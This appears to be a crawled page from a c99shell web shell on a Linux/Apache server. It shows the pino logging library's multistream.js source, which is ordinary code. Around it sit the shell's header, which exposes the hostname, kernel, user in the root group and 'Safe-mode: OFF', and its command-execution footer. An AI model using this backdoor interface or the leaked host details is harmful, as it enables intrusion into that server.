Software: Apache. PHP/8.1.30 uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root) Safe-mode: OFF (not secure) /home/picotech/domains/wa.picotech.app/public_html/node_modules/pino/lib/ drwxr-xr-x |
Viewing file: Select action/file-type: 'use strict' const metadata = Symbol.for('pino.metadata') const { levels } = require('./levels') const defaultLevels = Object.create(levels) defaultLevels.silent = Infinity const DEFAULT_INFO_LEVEL = levels.info function multistream (streamsArray, opts) { let counter = 0 streamsArray = streamsArray || [] opts = opts || { dedupe: false } let levels = defaultLevels if (opts.levels && typeof opts.levels === 'object') { levels = opts.levels } const res = { write, add, flushSync, end, minLevel: 0, streams: [], clone, [metadata]: true } if (Array.isArray(streamsArray)) { streamsArray.forEach(add, res) } else { add.call(res, streamsArray) } // clean this object up // or it will stay allocated forever // as it is closed on the following closures streamsArray = null return res // we can exit early because the streams are ordered by level function write (data) { let dest const level = this.lastLevel const { streams } = this let stream for (let i = 0; i < streams.length; i++) { dest = streams[i] if (dest.level <= level) { stream = dest.stream if (stream[metadata]) { const { lastTime, lastMsg, lastObj, lastLogger } = this stream.lastLevel = level stream.lastTime = lastTime stream.lastMsg = lastMsg stream.lastObj = lastObj stream.lastLogger = lastLogger } if (!opts.dedupe || dest.level === level) { stream.write(data) } } else { break } } } function flushSync () { for (const { stream } of this.streams) { if (typeof stream.flushSync === 'function') { stream.flushSync() } } } function add (dest) { if (!dest) { return res } // Check that dest implements either StreamEntry or DestinationStream const isStream = typeof dest.write === 'function' || dest.stream const stream_ = dest.write ? dest : dest.stream // This is necessary to provide a meaningful error message, otherwise it throws somewhere inside write() if (!isStream) { throw Error('stream object needs to implement either StreamEntry or DestinationStream interface') } const { streams } = this let level if (typeof dest.levelVal === 'number') { level = dest.levelVal } else if (typeof dest.level === 'string') { level = levels[dest.level] } else if (typeof dest.level === 'number') { level = dest.level } else { level = DEFAULT_INFO_LEVEL } const dest_ = { stream: stream_, level, levelVal: undefined, id: counter++ } streams.unshift(dest_) streams.sort(compareByLevel) this.minLevel = streams[0].level return res } function end () { for (const { stream } of this.streams) { if (typeof stream.flushSync === 'function') { stream.flushSync() } stream.end() } } function clone (level) { const streams = new Array(this.streams.length) for (let i = 0; i < streams.length; i++) { streams[i] = { level: level, stream: this.streams[i].stream } } return { write, add, minLevel: level, streams, clone, flushSync, [metadata]: true } } } function compareByLevel (a, b) { return a.level - b.level } module.exports = multistream |
:: Command execute :: | |
--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0999 ]-- |